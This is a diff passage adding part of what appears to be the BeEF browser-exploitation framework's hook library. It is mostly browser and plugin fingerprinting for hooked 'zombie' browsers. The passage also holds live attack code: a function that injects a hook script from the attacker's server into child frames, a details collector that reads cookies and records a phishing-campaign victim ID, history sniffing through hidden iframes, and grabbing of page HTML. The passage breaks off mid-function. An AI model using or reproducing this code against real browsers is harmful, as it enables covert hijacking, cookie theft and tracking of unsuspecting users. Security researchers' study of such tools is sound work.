+        if (this.isFF74()) {
+            return '74'
+        }
+        ;   // Firefox 74
+        if (this.isFF75()) {
+            return '75'
+        }
+        ;   // Firefox 75
+        if (this.isFF76()) {
+            return '76'
+        }
+        ;   // Firefox 76
+        if (this.isFF77()) {
+            return '77'
+        }
+        ;   // Firefox 77
+        if (this.isFF78()) {
+            return '78'
+        }
+        ;   // Firefox 78
+        if (this.isFF79()) {
+            return '79'
+        }
+        ;   // Firefox 79
+        if (this.isFF80()) {
+            return '80'
+        }
+        ;   // Firefox 80
+        if (this.isFF81()) {
+            return '81'
+        }
+        ;   // Firefox 81
+        if (this.isFF82()) {
+            return '82'
+        }
+        ;   // Firefox 82
+        if (this.isFF83()) {
+            return '83'
+        }
+        ;   // Firefox 83
+        if (this.isFF84()) {
+            return '84'
+        }
+        ;   // Firefox 84
+        if (this.isFF85()) {
+            return '85'
+        }
+        ;   // Firefox 85
+        if (this.isFF86()) {
+            return '86'
+        }
+        ;   // Firefox 86
+        if (this.isFF87()) {
+            return '87'
+        }
+        ;   // Firefox 87
+        if (this.isFF88()) {
+            return '88'
+        }
+        ;   // Firefox 88
+        if (this.isFF89()) {
+            return '89'
+        }
+        ;   // Firefox 89
+        if (this.isFF90()) {
+            return '90'
+        }
+        ;   // Firefox 90
+        if (this.isFF91()) {
+            return '91'
+        }
+        ;   // Firefox 91
+        if (this.isFF92()) {
+            return '92'
+        }
+        ;   // Firefox 92
+        if (this.isFF93()) {
+            return '93'
+        }
+        ;   // Firefox 93
+        if (this.isFF94()) {
+            return '94'
+        }
+        ;   // Firefox 94
+        if (this.isFF95()) {
+            return '95'
+        }
+        ;   // Firefox 95
+        if (this.isFF96()) {
+            return '96'
+        }
+        ;   // Firefox 96
+        if (this.isFF97()) {
+            return '97'
+        }
+        ;   // Firefox 97
+        if (this.isFF98()) {
+            return '98'
+        }
+        ;   // Firefox 98
+        if (this.isFF99()) {
+            return '99'
+        }
+        ;   // Firefox 99
+
+        if (this.isIE6()) {
+            return '6'
+        }
+        ;	// Internet Explorer 6
+        if (this.isIE7()) {
+            return '7'
+        }
+        ;	// Internet Explorer 7
+        if (this.isIE8()) {
+            return '8'
+        }
+        ;	// Internet Explorer 8
+        if (this.isIE9()) {
+            return '9'
+        }
+        ;	// Internet Explorer 9
+        if (this.isIE10()) {
+            return '10'
+        }
+        ;	// Internet Explorer 10
+        if (this.isIE11()) {
+            return '11'
+        }
+        ;   // Internet Explorer 11
+
+        if (this.isEdge()) {
+            return '1'
+        }
+        ;   // Microsoft Edge
+
+        if (this.isEpi()) {
+            // believe the UserAgent string for version info - until whenever
+            var epiphanyRe = /Epiphany\/(\d+)/;
+            var versionDetails = epiphanyRe.exec( beef.browser.getBrowserReportedName());
+            if (versionDetails.length > 1) {
+                return versionDetails[1];
+            } else {
+                return "UNKNOWN"; // returns from here or it may take Safari version details
+            }
+        }
+        ;                       // Epiphany
+
+        if (this.isS4()) {
+            return '4'
+        }
+        ;	// Safari 4
+        if (this.isS5()) {
+            return '5'
+        }
+        ;	// Safari 5
+        if (this.isS6()) {
+            return '6'
+        }
+        ;	// Safari 6
+
+        if (this.isS7()) {
+            return '7'
+        }
+        ;	// Safari 7
+        if (this.isS8()) {
+            return '8'
+        }
+        ;       // Safari 8
+
+        if (this.isO9_52()) {
+            return '9.5'
+        }
+        ;	// Opera 9.5x
+        if (this.isO9_60()) {
+            return '9.6'
+        }
+        ;	// Opera 9.6
+        if (this.isO10()) {
+            return '10'
+        }
+        ;	// Opera 10.xx
+        if (this.isO11()) {
+            return '11'
+        }
+        ;	// Opera 11.xx
+        if (this.isO12()) {
+            return '12'
+        }
+        ;	// Opera 12.xx
+
+        // platform.js
+        try {
+          var version = platform.version;
+          if (!!version)
+            return version;
+        } catch (e) {}
+
+        return 'UNKNOWN';				// Unknown UA
+    },
+
+    /**
+     * Returns the type of user agent by hooked browser.
+     * @return: {String} User agent software.
+     *
+     * @example: beef.browser.getBrowserName()
+     */
+    getBrowserName: function () {
+        if (this.isEdge()) {
+            return 'E'
+        }
+        ;       // Microsoft Edge any version
+        if (this.isC()) {
+            return 'C'
+        }
+        ;   // Chrome any version
+        if (this.isFF()) {
+            return 'FF'
+        }
+        ;		// Firefox any version
+        if (this.isIE()) {
+            return 'IE'
+        }
+        ;		// Internet Explorer any version
+        if (this.isO()) {
+            return 'O'
+        }
+        ;		// Opera any version
+        if (this.isEpi()) {
+            return 'EP'
+        }
+        ;			// Epiphany any version
+        if (this.isS()) {
+            return 'S'
+        }
+        ;		// Safari any version
+        if (this.isA()) {
+            return 'A'
+        }
+        ;               // Avant any version
+        if (this.isMidori()) {
+            return 'MI'
+        }
+        ;               // Midori any version
+        if (this.isOdyssey()) {
+            return 'OD'
+        }
+        ;               // Odyssey any version
+        if (this.isBrave()) {
+            return 'BR'
+        }
+        ;               // Brave any version
+        return 'UNKNOWN';	// Unknown UA
+    },
+
+    /**
+     * Hooks all child frames in the current window
+     * Restricted by same-origin policy
+     */
+    hookChildFrames: function () {
+
+        // create script object
+        var script = document.createElement('script');
+        script.type = 'text/javascript';
+        script.src = '<%== @beef_proto %>://<%== @beef_host %>:<%== @beef_port %><%== @hook_file %>';
+
+        // loop through child frames
+        for (var i = 0; i < self.frames.length; i++) {
+            try {
+                // append hook script
+                self.frames[i].document.body.appendChild(script);
+                beef.debug("Hooked child frame [src:" + self.frames[i].window.location.href + "]");
+            } catch (e) {
+                // warn on cross-origin
+                beef.debug("Hooking child frame failed: " + e.message);
+            }
+        }
+    },
+
+    /**
+     * Checks if the zombie has flash installed and enabled.
+     * @return: {Boolean} true or false.
+     *
+     * @example: if(beef.browser.hasFlash()) { ... }
+     */
+    hasFlash: function () {
+      if (!beef.browser.isIE()) {
+        return (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]);
+      }
+
+      if (!!navigator.plugins) {
+        return (navigator.plugins["Shockwave Flash"] != undefined);
+      }
+
+      // IE
+      var flash_versions = 12;
+      if (window.ActiveXObject != null) {
+        for (x = 2; x <= flash_versions; x++) {
+          try {
+            Flash = eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash." + x + "');");
+            if (Flash) {
+              return true;
+            }
+          } catch (e) {
+            beef.debug("Creating Flash ActiveX object failed: " + e.message);
+          }
+        }
+      }
+
+      return false;
+    },
+
+    /**
+     * Checks if the zombie has the QuickTime plugin installed.
+     * @return: {Boolean} true or false.
+     *
+     * @example: if ( beef.browser.hasQuickTime() ) { ... }
+     */
+    hasQuickTime: function () {
+        if (!!navigator.plugins) {
+            for (i = 0; i < navigator.plugins.length; i++) {
+                if (navigator.plugins[i].name.indexOf("QuickTime") >= 0) {
+                    return true;
+                }
+            }
+        }
+
+        // IE
+        try {
+          var qt_test = new ActiveXObject('QuickTime.QuickTime');
+          if (qt_test) {
+            return true;
+          }
+        } catch (e) {
+          beef.debug("Creating QuickTime ActiveX object failed: " + e.message);
+        }
+
+        return false;
+    },
+
+    /**
+     * Checks if the zombie has the RealPlayer plugin installed.
+     * @return: {Boolean} true or false.
+     *
+     * @example: if ( beef.browser.hasRealPlayer() ) { ... }
+     */
+    hasRealPlayer: function () {
+
+        if (!!navigator.plugins) {
+          for (i = 0; i < navigator.plugins.length; i++) {
+            if (navigator.plugins[i].name.indexOf("RealPlayer") >= 0) {
+              return true;
+            }
+          }
+        }
+
+        // IE
+        var definedControls = [
+          'RealPlayer',
+          'rmocx.RealPlayer G2 Control',
+          'rmocx.RealPlayer G2 Control.1',
+          'RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)',
+          'RealVideo.RealVideo(tm) ActiveX Control (32-bit)'
+        ];
+
+        for (var i = 0; i < definedControls.length; i++) {
+          try {
+            var rp_test = new ActiveXObject(definedControls[i]);
+            if (rp_test) {
+              return true;
+            }
+          } catch (e) {
+            beef.debug("Creating RealPlayer ActiveX object failed: " + e.message);
+          }
+        }
+
+        return false;
+    },
+
+    /**
+     * Checks if the zombie has the Windows Media Player plugin installed.
+     * @return: {Boolean} true or false.
+     *
+     * @example: if ( beef.browser.hasWMP() ) { ... }
+     */
+    hasWMP: function () {
+      if (!!navigator.plugins) {
+        for (i = 0; i < navigator.plugins.length; i++) {
+          if (navigator.plugins[i].name.indexOf("Windows Media Player") >= 0) {
+            return true;
+          }
+        }
+      }
+
+      // IE
+      try {
+        var wmp_test = new ActiveXObject('WMPlayer.OCX');
+        if (wmp_test) {
+          return true;
+        }
+      } catch (e) {
+        beef.debug("Creating WMP ActiveX object failed: " + e.message);
+      }
+
+      return false;
+    },
+
+    /**
+     *  Checks if VLC is installed
+     *  @return: {Boolean} true or false
+     **/
+    hasVLC: function () {
+      if (beef.browser.isIE() || beef.browser.isEdge()) {
+        try {
+          control = new ActiveXObject("VideoLAN.VLCPlugin.2");
+          return true;
+        } catch (e) {
+          beef.debug("Creating VLC ActiveX object failed: " + e.message);
+        }
+      } else {
+        for (i = 0; i < navigator.plugins.length; i++) {
+          if (navigator.plugins[i].name.indexOf("VLC") >= 0) {
+            return true;
+          }
+        }
+      }
+      return false;
+    },
+
+    /**
+     * Checks if the zombie has Java enabled.
+     * @return: {Boolean} true or false.
+     *
+     * @example: if(beef.browser.javaEnabled()) { ... }
+     */
+    javaEnabled: function () {
+      return navigator.javaEnabled();
+    },
+
+    /**
+     * Checks if the Phonegap API is available from the hooked origin.
+     * @return: {Boolean} true or false.
+     *
+     * @example: if(beef.browser.hasPhonegap()) { ... }
+     */
+    hasPhonegap: function () {
+        var result = false;
+
+        try {
+            if (!!device.phonegap || !!device.cordova) result = true; else result = false;
+        }
+        catch (e) {
+            result = false;
+        }
+        return result;
+    },
+
+    /**
+     * Checks if the browser supports CORS
+     * @return: {Boolean} true or false.
+     *
+     * @example: if(beef.browser.hasCors()) { ... }
+     */
+    hasCors: function () {
+        if ('withCredentials' in new XMLHttpRequest())
+            return true;
+        else if (typeof XDomainRequest !== "undefined")
+            return true;
+        else
+            return false;
+    },
+
+    /**
+     * Checks if the zombie has Java installed and enabled.
+     * @return: {Boolean} true or false.
+     *
+     * @example: if(beef.browser.hasJava()) { ... }
+     */
+    hasJava: function () {
+        if (beef.browser.getPlugins().match(/java/i) && beef.browser.javaEnabled()) {
+          return true;
+        } else {
+          return false;
+        }
+    },
+
+    /**
+     * Checks if the zombie has VBScript enabled.
+     * @return: {Boolean} true or false.
+     *
+     * @example: if(beef.browser.hasVBScript()) { ... }
+     */
+    hasVBScript: function () {
+        if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) {
+            return true;
+        } else {
+            return false;
+        }
+    },
+
+    /**
+     * Returns the list of plugins installed in the browser.
+     */
+    getPlugins: function () {
+
+        var results;
+        Array.prototype.unique = function () {
+            var o = {}, i, l = this.length, r = [];
+            for (i = 0; i < l; i += 1) o[this[i]] = this[i];
+            for (i in o) r.push(o[i]);
+            return r;
+        };
+
+        // Things lacking navigator.plugins
+        if (!navigator.plugins) 
+          return this.getPluginsIE();
+
+        // All other browsers that support navigator.plugins
+        if (navigator.plugins && navigator.plugins.length > 0) {
+            results = new Array();
+            for (var i = 0; i < navigator.plugins.length; i++) {
+
+                // Firefox returns exact plugin versions
+                if (beef.browser.isFF()) results[i] = navigator.plugins[i].name + '-v.' + navigator.plugins[i].version;
+
+                // Webkit and Presto (Opera)
+                // Don't support the version attribute
+                // Sometimes store the version in description (Real, Adobe)
+                else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
+            }
+            results = results.unique().toString();
+
+            // All browsers that don't support navigator.plugins
+        } else {
+            results = new Array();
+            //firefox https://bugzilla.mozilla.org/show_bug.cgi?id=757726
+            // On linux sistem the "version" slot is empty so I'll attach "description" after version
+            var plugins = {
+
+                'AdobeAcrobat': {
+                    'control': 'Adobe Acrobat',
+                    'return': function (control) {
+                        try {
+                            version = navigator.plugins["Adobe Acrobat"]["description"];
+                            return 'Adobe Acrobat Version  ' + version; //+ " description "+ filename;
+
+                        }
+                        catch (e) {
+                        }
+
+
+                    }},
+                'Flash': {
+                    'control': 'Shockwave Flash',
+                    'return': function (control) {
+                        try {
+                            version = navigator.plugins["Shockwave Flash"]["description"];
+                            return 'Flash Player Version ' + version; //+ " description "+ filename;
+                        }
+
+                        catch (e) {
+                        }
+                    }},
+                'Google_Talk_Plugin_Accelerator': {
+                    'control': 'Google Talk Plugin Video Accelerator',
+                    'return': function (control) {
+
+                        try {
+                            version = navigator.plugins['Google Talk Plugin Video Accelerator']["description"];
+                            return 'Google Talk Plugin Video Accelerator Version ' + version; //+ " description "+ filename;
+                        }
+                        catch (e) {
+                        }
+                    }},
+                'Google_Talk_Plugin': {
+                    'control': 'Google Talk Plugin',
+                    'return': function (control) {
+                        try {
+                            version = navigator.plugins['Google Talk Plugin']["description"];
+                            return 'Google Talk Plugin Version ' + version;// " description "+ filename;
+                        }
+                        catch (e) {
+                        }
+                    }},
+                'Facebook_Video_Calling_Plugin': {
+                    'control': 'Facebook Video Calling Plugin',
+                    'return': function (control) {
+                        try {
+                            version = navigator.plugins["Facebook Video Calling Plugin"]["description"];
+                            return 'Facebook Video Calling Plugin Version ' + version;//+ " description "+ filename;
+                        }
+                        catch (e) {
+                        }
+                    }},
+                'Google_Update': {
+                    'control': 'Google Update',
+                    'return': function (control) {
+                        try {
+                            version = navigator.plugins["Google Update"]["description"];
+                            return 'Google Update Version ' + version//+ " description "+ filename;
+                        }
+                        catch (e) {
+                        }
+                    }},
+                'Windows_Activation_Technologies': {
+                    'control': 'Windows Activation Technologies',
+                    'return': function (control) {
+                        try {
+                            version = navigator.plugins["Windows Activation Technologies"]["description"];
+                            return 'Windows Activation Technologies Version ' + version;//+ " description "+ filename;
+                        }
+                        catch (e) {
+                        }
+
+                    }},
+                'VLC_Web_Plugin': {
+                    'control': 'VLC Web Plugin',
+                    'return': function (control) {
+                        try {
+                            version = navigator.plugins["VLC Web Plugin"]["description"];
+                            return 'VLC Web Plugin Version ' + version;//+ " description "+ filename;
+                        }
+                        catch (e) {
+                        }
+                    }},
+                'Google_Earth_Plugin': {
+                    'control': 'Google Earth Plugin',
+
+                    'return': function (control) {
+                        try {
+                            version = navigator.plugins['Google Earth Plugin']["description"];
+                            return 'Google Earth Plugin Version ' + version;//+ " description "+ filename;
+                        }
+                        catch (e) {
+                        }
+                    }},
+                'FoxitReader_Plugin': {
+                    'control': 'FoxitReader Plugin',
+                    'return': function (control) {
+                        try {
+                            version = navigator.plugins['Foxit Reader Plugin for Mozilla']['version'];
+                            return 'FoxitReader Plugin Version ' + version;
+                        } catch (e) {
+                        }
+                    }}
+            };
+
+            var c = 0;
+            for (var i in plugins) {
+                //each element od plugins
+                var control = plugins[i]['control'];
+                try {
+                    var version = plugins[i]['return'](control);
+                    if (version) {
+                        results[c] = version;
+                        c = c + 1;
+                    }
+                }
+                catch (e) {
+                }
+
+            }
+        }
+        // Return results
+        return results;
+    },
+
+    /**
+     * Returns a list of plugins detected by IE. This is a hack because IE doesn't
+     * support navigator.plugins
+     */
+    getPluginsIE: function () {
+        var results = '';
+        var plugins = {
+            'AdobePDF6': {
+                'control': 'PDF.PdfCtrl',
+            'return': function (control) {
+                version = control.getVersions().split(',');
+                version = version[0].split('=');
+                return 'Acrobat Reader v' + parseFloat(version[1]);
+            }},
+            'AdobePDF7': {
+                'control': 'AcroPDF.PDF',
+                'return': function (control) {
+                    version = control.getVersions().split(',');
+                    version = version[0].split('=');
+                    return 'Acrobat Reader v' + parseFloat(version[1]);
+                }},
+            'Flash': {
+                'control': 'ShockwaveFlash.ShockwaveFlash',
+                'return': function (control) {
+                    version = control.getVariable('$version').substring(4);
+                    return 'Flash Player v' + version.replace(/,/g, ".");
+                }},
+            'Quicktime': {
+                'control': 'QuickTime.QuickTime',
+                'return': function (control) {
+                    return 'QuickTime Player';
+                }},
+            'RealPlayer': {
+                'control': 'RealPlayer',
+                'return': function (control) {
+                    version = control.getVersionInfo();
+                    return 'RealPlayer v' + parseFloat(version);
+                }},
+            'Shockwave': {
+                'control': 'SWCtl.SWCtl',
+                'return': function (control) {
+                    version = control.ShockwaveVersion('').split('r');
+                    return 'Shockwave v' + parseFloat(version[0]);
+                }},
+            'WindowsMediaPlayer': {
+                'control': 'WMPlayer.OCX',
+                'return': function (control) {
+                    return 'Windows Media Player v' + parseFloat(control.versionInfo);
+                }},
+            'FoxitReaderPlugin': {
+                'control': 'FoxitReader.FoxitReaderCtl.1',
+                'return': function (control) {
+                    return 'Foxit Reader Plugin v' + parseFloat(control.versionInfo);
+                }}
+        };
+        if (window.ActiveXObject) {
+            var j = 0;
+            for (var i in plugins) {
+                var control = null;
+                var version = null;
+                try {
+                    control = new ActiveXObject(plugins[i]['control']);
+                } catch (e) {
+                }
+                if (control) {
+                    if (j != 0)
+                        results += ', ';
+                    results += plugins[i]['return'](control);
+                    j++;
+                }
+            }
+        }
+        return results;
+    },
+
+    /**
+     * Returns zombie browser window size.
+     * @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow
+     */
+    getWindowSize: function () {
+        var myWidth = 0, myHeight = 0;
+        if (typeof( window.innerWidth ) == 'number') {
+            // Non-IE
+            myWidth = window.innerWidth;
+            myHeight = window.innerHeight;
+        } else if (document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight )) {
+            // IE 6+ in 'standards compliant mode'
+            myWidth = document.documentElement.clientWidth;
+            myHeight = document.documentElement.clientHeight;
+        } else if (document.body && ( document.body.clientWidth || document.body.clientHeight )) {
+            // IE 4 compatible
+            myWidth = document.body.clientWidth;
+            myHeight = document.body.clientHeight;
+        }
+        return {
+            width: myWidth,
+            height: myHeight
+        }
+    },
+
+    /**
+     * Construct hash from browser details. This function is used to grab the browser details during the hooking process
+     */
+    getDetails: function () {
+        var details = new Array();
+
+        var browser_name = beef.browser.getBrowserName();
+        var browser_version = beef.browser.getBrowserVersion();
+        var browser_engine = beef.browser.getBrowserEngine();
+        var browser_reported_name = beef.browser.getBrowserReportedName();
+        var browser_language = beef.browser.getBrowserLanguage();
+        var page_title = (document.title) ? document.title : "Unknown";
+        var origin = (window.origin) ? window.origin : "Unknown";
+        var page_uri = (document.location.href) ? document.location.href : "Unknown";
+        var page_referrer = (document.referrer) ? document.referrer : "Unknown";
+        var page_hostname = (document.location.hostname) ? document.location.hostname : "Unknown";
+        var default_port = "";
+        switch (document.location.protocol) {
+        case "http:":
+            var default_port = "80";
+            break;
+        case "https:":
+            var default_port = "443";
+            break;
+        }
+        var page_hostport = (document.location.port) ? document.location.port : default_port;
+        var browser_plugins = beef.browser.getPlugins();
+        var date_stamp = new Date().toString();
+        var os_name = beef.os.getName();
+        var os_family = beef.os.getFamily();
+        var os_version = beef.os.getVersion();
+        var os_arch = beef.os.getArch();
+        var default_browser = beef.os.getDefaultBrowser();
+        var hw_type = beef.hardware.getName();
+        var battery_details = beef.hardware.getBatteryDetails();
+        try {
+          var battery_charging_status = battery_details.chargingStatus;
+          var battery_level = battery_details.batteryLevel;
+          var battery_charging_time = battery_details.chargingTime;
+          var battery_discharging_time = battery_details.dischargingTime;
+        } catch(e) {}
+        var memory = beef.hardware.getMemory();
+        var cpu_arch = beef.hardware.getCpuArch();
+        var cpu_cores = beef.hardware.getCpuCores();
+        var gpu_details = beef.hardware.getGpuDetails();
+        try {
+          var gpu = gpu_details.gpu;
+          var gpu_vendor = gpu_details.vendor;
+        } catch(e) {}
+        var touch_enabled = (beef.hardware.isTouchEnabled()) ? "Yes" : "No";
+        var browser_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ? navigator.platform : 'Unknown';
+        var screen_size = beef.hardware.getScreenSize();
+        try {
+          var screen_width = screen_size.width;
+          var screen_height = screen_size.height;
+          var screen_colordepth = screen_size.colordepth;
+        } catch(e) {}
+        var window_size = beef.browser.getWindowSize();
+        try {
+          window_width = window_size.width;
+          window_height = window_size.height;
+        } catch(e) {}
+        var vbscript_enabled = (beef.browser.hasVBScript()) ? "Yes" : "No";
+        var has_flash = (beef.browser.hasFlash()) ? "Yes" : "No";
+        var has_silverlight = (beef.browser.hasSilverlight()) ? "Yes" : "No";
+        var has_phonegap = (beef.browser.hasPhonegap()) ? "Yes" : "No";
+        var has_googlegears = (beef.browser.hasGoogleGears()) ? "Yes" : "No";
+        var has_web_socket = (beef.browser.hasWebSocket()) ? "Yes" : "No";
+        var has_web_worker = (beef.browser.hasWebWorker()) ? "Yes" : "No";
+        var has_web_gl = (beef.browser.hasWebGL()) ? "Yes" : "No";
+        var has_webrtc = (beef.browser.hasWebRTC()) ? "Yes" : "No";
+        var has_activex = (beef.browser.hasActiveX()) ? "Yes" : "No";
+        var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No";
+        var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No";
+        var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No";
+        var has_vlc = (beef.browser.hasVLC()) ? "Yes" : "No";
+
+        try {
+            var cookies = document.cookie;
+            /* Never stop the madness dear C.
+             * var veglol = beef.browser.cookie.veganLol();
+             */
+            if (cookies) details['browser.window.cookies'] = cookies;
+        } catch (e) {
+            beef.debug("Cookies can't be read. The hooked origin is most probably using HttpOnly.");
+            details['browser.window.cookies'] = '';
+        }
+
+        if (browser_name) details['browser.name'] = browser_name;
+        if (browser_version) details['browser.version'] = browser_version;
+        if (browser_engine) details['browser.engine'] = browser_engine;
+        if (browser_reported_name) details['browser.name.reported'] = browser_reported_name;
+        if (browser_platform) details['browser.platform'] = browser_platform;
+        if (browser_language) details['browser.language'] = browser_language;
+        if (browser_plugins) details['browser.plugins'] = browser_plugins;
+
+        if (page_title) details['browser.window.title'] = page_title;
+        if (origin) details['browser.window.origin'] = origin;
+        if (page_hostname) details['browser.window.hostname'] = page_hostname;
+        if (page_hostport) details['browser.window.hostport'] = page_hostport;
+        if (page_uri) details['browser.window.uri'] = page_uri;
+        if (page_referrer) details['browser.window.referrer'] = page_referrer;
+        if (window_width) details['browser.window.size.width'] = window_width;
+        if (window_height) details['browser.window.size.height'] = window_height;
+        if (date_stamp) details['browser.date.datestamp'] = date_stamp;
+
+        if (os_name) details['host.os.name'] = os_name;
+        if (os_family) details['host.os.family'] = os_family;
+        if (os_version) details['host.os.version'] = os_version;
+        if (os_arch) details['host.os.arch'] = os_arch;
+
+        if (default_browser) details['host.software.defaultbrowser'] = default_browser;
+
+        if (hw_type) details['hardware.type'] = hw_type;
+        if (memory) details['hardware.memory'] = memory;
+        if (gpu) details['hardware.gpu'] = gpu;
+        if (gpu_vendor) details['hardware.gpu.vendor'] = gpu_vendor;
+        if (cpu_arch) details['hardware.cpu.arch'] = cpu_arch;
+        if (cpu_cores) details['hardware.cpu.cores'] = cpu_cores;
+
+        if (battery_charging_status) details['hardware.battery.chargingstatus'] = battery_charging_status;
+        if (battery_level) details['hardware.battery.level'] = battery_level;
+        if (battery_charging_time) details['hardware.battery.chargingtime'] = battery_charging_time;
+        if (battery_discharging_time) details['hardware.battery.dischargingtime'] = battery_discharging_time;
+
+        if (screen_width) details['hardware.screen.size.width'] = screen_width;
+        if (screen_height) details['hardware.screen.size.height'] = screen_height;
+        if (screen_colordepth) details['hardware.screen.colordepth'] = screen_colordepth;
+        if (touch_enabled) details['hardware.screen.touchenabled'] = touch_enabled;
+
+        if (vbscript_enabled) details['browser.capabilities.vbscript'] = vbscript_enabled;
+        if (has_flash) details['browser.capabilities.flash'] = has_flash;
+        if (has_silverlight) details['browser.capabilities.silverlight'] = has_silverlight;
+        if (has_phonegap) details['browser.capabilities.phonegap'] = has_phonegap;
+        if (has_web_socket) details['browser.capabilities.websocket'] = has_web_socket;
+        if (has_webrtc) details['browser.capabilities.webrtc'] = has_webrtc;
+        if (has_web_worker) details['browser.capabilities.webworker'] = has_web_worker;
+        if (has_web_gl) details['browser.capabilities.webgl'] = has_web_gl;
+        if (has_googlegears) details['browser.capabilities.googlegears'] = has_googlegears;
+        if (has_activex) details['browser.capabilities.activex'] = has_activex;
+        if (has_quicktime) details['browser.capabilities.quicktime'] = has_quicktime;
+        if (has_realplayer) details['browser.capabilities.realplayer'] = has_realplayer;
+        if (has_wmp) details['browser.capabilities.wmp'] = has_wmp;
+        if (has_vlc) details['browser.capabilities.vlc'] = has_vlc;
+
+        var pf_integration = "<%= @phishing_frenzy_enable %>";
+        if (pf_integration) {
+            var pf_param = "uid";
+            var pf_victim_uid = "";
+            var location_search = window.location.search.substring(1);
+            var params = location_search.split('&');
+            for (var i = 0; i < params.length; i++) {
+                var param_entry = params[i].split('=');
+                if (param_entry[0] == pf_param) {
+                    pf_victim_uid = param_entry[1];
+                    details['PhishingFrenzyUID'] = pf_victim_uid;
+                    break;
+                }
+            }
+        } else {
+            details['PhishingFrenzyUID'] = "N/A";
+        }
+
+        return details;
+    },
+
+    /**
+     * Returns boolean value depending on whether the browser supports ActiveX
+     */
+    hasActiveX: function () {
+        return !!window.ActiveXObject;
+    },
+
+    /**
+     * Returns boolean value depending on whether the browser supports WebRTC
+     */
+    hasWebRTC: function () {
+        return (!!window.mozRTCPeerConnection || !!window.webkitRTCPeerConnection);
+    },
+
+    /**
+     * Returns boolean value depending on whether the browser supports Silverlight
+     */
+    hasSilverlight: function () {
+        var result = false;
+
+        try {
+            if (beef.browser.hasActiveX()) {
+                var slControl = new ActiveXObject('AgControl.AgControl');
+                result = true;
+            } else if (navigator.plugins["Silverlight Plug-In"]) {
+                result = true;
+            }
+        } catch (e) {
+            result = false;
+        }
+
+        return result;
+    },
+
+    /**
+     * Returns array of results, whether or not the target zombie has visited the specified URL
+     */
+    hasVisited: function (urls) {
+        var results = new Array();
+        var iframe = beef.dom.createInvisibleIframe();
+        var ifdoc = (iframe.contentDocument) ? iframe.contentDocument : iframe.contentWindow.document;
+        ifdoc.open();
+        ifdoc.write('<style>a:visited{width:0px !important;}</style>');
+        ifdoc.close();
+        urls = urls.split("\n");
+        var count = 0;
+        for (var i in urls) {
+            var u = urls[i];
+            if (u != "" || u != null) {
+                var success = false;
+                var a = ifdoc.createElement('a');
+                a.href = u;
+                ifdoc.body.appendChild(a);
+                var width = null;
+                (a.currentStyle) ? width = a.currentStyle['width'] : width = ifdoc.defaultView.getComputedStyle(a, null).getPropertyValue("width");
+                if (width == '0px') {
+                    success = true;
+                }
+                results.push({'url': u, 'visited': success});
+                count++;
+            }
+        }
+        beef.dom.removeElement(iframe);
+        if (results.length == 0) {
+            return false;
+        }
+        return results;
+    },
+
+    /**
+     * Checks if the zombie has Web Sockets enabled.
+     * @return: {Boolean} true or false.
+     * In FF6+ the websocket object has been prefixed with Moz, so now it's called MozWebSocket
+     * */
+    hasWebSocket: function () {
+        return !!window.WebSocket || !!window.MozWebSocket;
+    },
+
+    /**
+     * Checks if the zombie has Web Workers enabled.
+     * @return: {Boolean} true or false.
+     * */
+    hasWebWorker: function () {
+        return (typeof(Worker) !== "undefined");
+    },
+
+    /**
+     * Checks if the zombie has WebGL enabled.
+     * @return: {Boolean} true or false.
+     *
+     * @from: https://github.com/idofilin/webgl-by-example/blob/master/detect-webgl/detect-webgl.js
+     * */
+    hasWebGL: function () {
+        try {
+            var canvas = document.createElement("canvas");
+            var gl = canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
+            return !!(gl && gl instanceof WebGLRenderingContext);
+        } catch(e) {
+            return false;
+        }
+    },
+
+    /**
+     * Checks if the zombie has Google Gears installed.
+     * @return: {Boolean} true or false.
+     *
+     * @from: https://code.google.com/apis/gears/gears_init.js
+     * */
+    hasGoogleGears: function () {
+
+        var ggfactory = null;
+
+        // Chrome
+        if (window.google && google.gears) return true;
+
+        // Firefox
+        if (typeof GearsFactory != 'undefined') {
+            ggfactory = new GearsFactory();
+        } else {
+            // IE
+            try {
+                ggfactory = new ActiveXObject('Gears.Factory');
+                // IE Mobile on WinCE.
+                if (ggfactory.getBuildInfo().indexOf('ie_mobile') != -1) {
+                    ggfactory.privateSetGlobalObject(this);
+                }
+            } catch (e) {
+                // Safari
+                if ((typeof navigator.mimeTypes != 'undefined')
+                    && navigator.mimeTypes["application/x-googlegears"]) {
+                    ggfactory = document.createElement("object");
+                    ggfactory.style.display = "none";
+                    ggfactory.width = 0;
+                    ggfactory.height = 0;
+                    ggfactory.type = "application/x-googlegears";
+                    document.documentElement.appendChild(ggfactory);
+                    if (ggfactory && (typeof ggfactory.create == 'undefined')) ggfactory = null;
+                }
+            }
+        }
+        if (!ggfactory) return false; else return true;
+    },
+
+    /**
+     * Checks if the zombie has Foxit PDF reader plugin.
+     * @return: {Boolean} true or false.
+     *
+     * @example: if(beef.browser.hasFoxit()) { ... }
+     * */
+    hasFoxit: function () {
+
+        var foxitplugin = false;
+
+        try {
+            if (beef.browser.hasActiveX()) {
+                var foxitControl = new ActiveXObject('FoxitReader.FoxitReaderCtl.1');
+                foxitplugin = true;
+            } else if (navigator.plugins['Foxit Reader Plugin for Mozilla']) {
+                foxitplugin = true;
+            }
+        } catch (e) {
+            foxitplugin = false;
+        }
+
+        return foxitplugin;
+    },
+
+    /**
+     * Returns the page head HTML
+     **/
+    getPageHead: function () {
+        var html_head;
+        try {
+            html_head = document.head.innerHTML.toString();
+        } catch (e) {
+        }
+        return html_head;
+    },
+
+    /**
+     * Returns the page body HTML
+     **/
+    getPageBody: function () {
+        var html_body;
+        try {
+            html_body = document.body.innerHTML.toString();
+        } catch (e) {
+        }
+        return html_body;
+    },
+
+    /**
+     * Dynamically changes the favicon: works in Firefox, Chrome and Opera
+     **/
+    changeFavicon: function (favicon_url) {
+        var iframe = null;
+        if (this.isC()) {
+            iframe = document.createElement('iframe');
+            iframe.src = 'about:blank';
+            iframe.style.display = 'none';
+            document.body.appendChild(iframe);
+        }
+        var link = document.createElement('link'),
